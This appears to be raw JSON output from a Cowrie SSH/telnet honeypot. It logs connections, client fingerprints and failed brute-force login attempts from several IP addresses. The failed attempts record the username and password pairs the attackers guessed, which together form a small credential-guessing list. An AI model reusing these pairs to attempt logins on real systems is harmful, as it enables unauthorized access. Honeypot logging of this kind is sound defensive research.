{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:25.407148Z","src_ip":"91.92.40.36","session":"f0f728c00fcf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:25.735884Z","src_ip":"91.92.40.36","session":"8bfae31d1b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:25.740483Z","src_ip":"91.92.40.36","session":"8bfae31d1b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:28.414897Z","src_ip":"91.92.40.36","session":"f0f728c00fcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15876,"dst_ip":"10.17.0.5","dst_port":22,"session":"e639b7c3f39b","protocol":"ssh","message":"New connection: 91.92.40.36:15876 (10.17.0.5:22) [session: e639b7c3f39b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:28.665644Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":54116,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d918bb930c6","protocol":"ssh","message":"New connection: 163.7.9.84:54116 (10.17.0.5:22) [session: 2d918bb930c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:29.715589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:29.721153Z","src_ip":"163.7.9.84","session":"2d918bb930c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:29.976473Z","src_ip":"163.7.9.84","session":"2d918bb930c6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:30.381385Z","src_ip":"91.92.40.36","session":"e639b7c3f39b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:30.391693Z","src_ip":"91.92.40.36","session":"e639b7c3f39b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aurora","password":"aurora","message":"login attempt [aurora/aurora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:31.030929Z","src_ip":"163.7.9.84","session":"2d918bb930c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:32.291358Z","src_ip":"163.7.9.84","session":"2d918bb930c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:33.431844Z","src_ip":"91.92.40.36","session":"8bfae31d1b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:35.944314Z","src_ip":"91.92.40.36","session":"8bfae31d1b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48480,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4b9f155a933","protocol":"ssh","message":"New connection: 91.92.40.36:48480 (10.17.0.5:22) [session: f4b9f155a933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:37.591848Z"}
{"eventid":"cowrie.login.failed","username":"fernando","password":"fernando","message":"login attempt [fernando/fernando] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:37.826087Z","src_ip":"91.92.40.36","session":"e639b7c3f39b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.892003536224365,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:38.062130Z","src_ip":"128.199.8.54","session":"5b01fc0a9ff2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:40.163300Z","src_ip":"91.92.40.36","session":"e639b7c3f39b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:40.449596Z","src_ip":"91.92.40.36","session":"f4b9f155a933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:40.453298Z","src_ip":"91.92.40.36","session":"f4b9f155a933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00172996520996,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:40.498745Z","src_ip":"94.23.66.112","session":"4214ac70b4f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48500,"dst_ip":"10.17.0.5","dst_port":22,"session":"9263801f9c5f","protocol":"ssh","message":"New connection: 91.92.40.36:48500 (10.17.0.5:22) [session: 9263801f9c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:42.336004Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44986,"dst_ip":"10.17.0.5","dst_port":23,"session":"92102197c495","protocol":"telnet","message":"New connection: 172.81.62.90:44986 (10.17.0.5:23) [session: 92102197c495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:42.342742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:43.778340Z","src_ip":"91.92.40.36","session":"9263801f9c5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:43.781746Z","src_ip":"91.92.40.36","session":"9263801f9c5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56470,"dst_ip":"10.17.0.5","dst_port":23,"session":"795971e70812","protocol":"telnet","message":"New connection: 172.81.62.90:56470 (10.17.0.5:23) [session: 795971e70812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:46.431705Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":36046,"dst_ip":"159.203.135.109","dst_port":22,"session":"18e24bd25c02","protocol":"ssh","message":"New connection: 102.210.148.92:36046 (159.203.135.109:22) [session: 18e24bd25c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:47.561598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:47.567407Z","src_ip":"102.210.148.92","session":"18e24bd25c02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:47.816770Z","src_ip":"102.210.148.92","session":"18e24bd25c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61740,"dst_ip":"10.17.0.5","dst_port":22,"session":"4250d23a6a83","protocol":"ssh","message":"New connection: 91.92.40.36:61740 (10.17.0.5:22) [session: 4250d23a6a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:48.089451Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"asdfghjkl","message":"login attempt [deploy/asdfghjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:48.827733Z","src_ip":"102.210.148.92","session":"18e24bd25c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":42942,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a7fa72f03d7","protocol":"ssh","message":"New connection: 87.106.47.28:42942 (10.17.0.5:22) [session: 7a7fa72f03d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:48.923564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:48.929544Z","src_ip":"87.106.47.28","session":"7a7fa72f03d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:49.028596Z","src_ip":"87.106.47.28","session":"7a7fa72f03d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"12345678","message":"login attempt [Admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:49.446035Z","src_ip":"87.106.47.28","session":"7a7fa72f03d7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:49.508119Z","src_ip":"91.92.40.36","session":"4250d23a6a83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:49.518354Z","src_ip":"91.92.40.36","session":"4250d23a6a83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p@ssw0rd","message":"login attempt [ubuntu/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:49.555320Z","src_ip":"91.92.40.36","session":"f4b9f155a933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:49.809621Z","src_ip":"91.92.40.36","session":"9263801f9c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:50.078026Z","src_ip":"102.210.148.92","session":"18e24bd25c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:50.546828Z","src_ip":"87.106.47.28","session":"7a7fa72f03d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:52.987400Z","src_ip":"91.92.40.36","session":"9263801f9c5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61788,"dst_ip":"10.17.0.5","dst_port":22,"session":"133f6b9d60d1","protocol":"ssh","message":"New connection: 91.92.40.36:61788 (10.17.0.5:22) [session: 133f6b9d60d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:53.147407Z"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:53.457532Z","src_ip":"91.92.40.36","session":"f4b9f155a933","protocol":"ssh"}
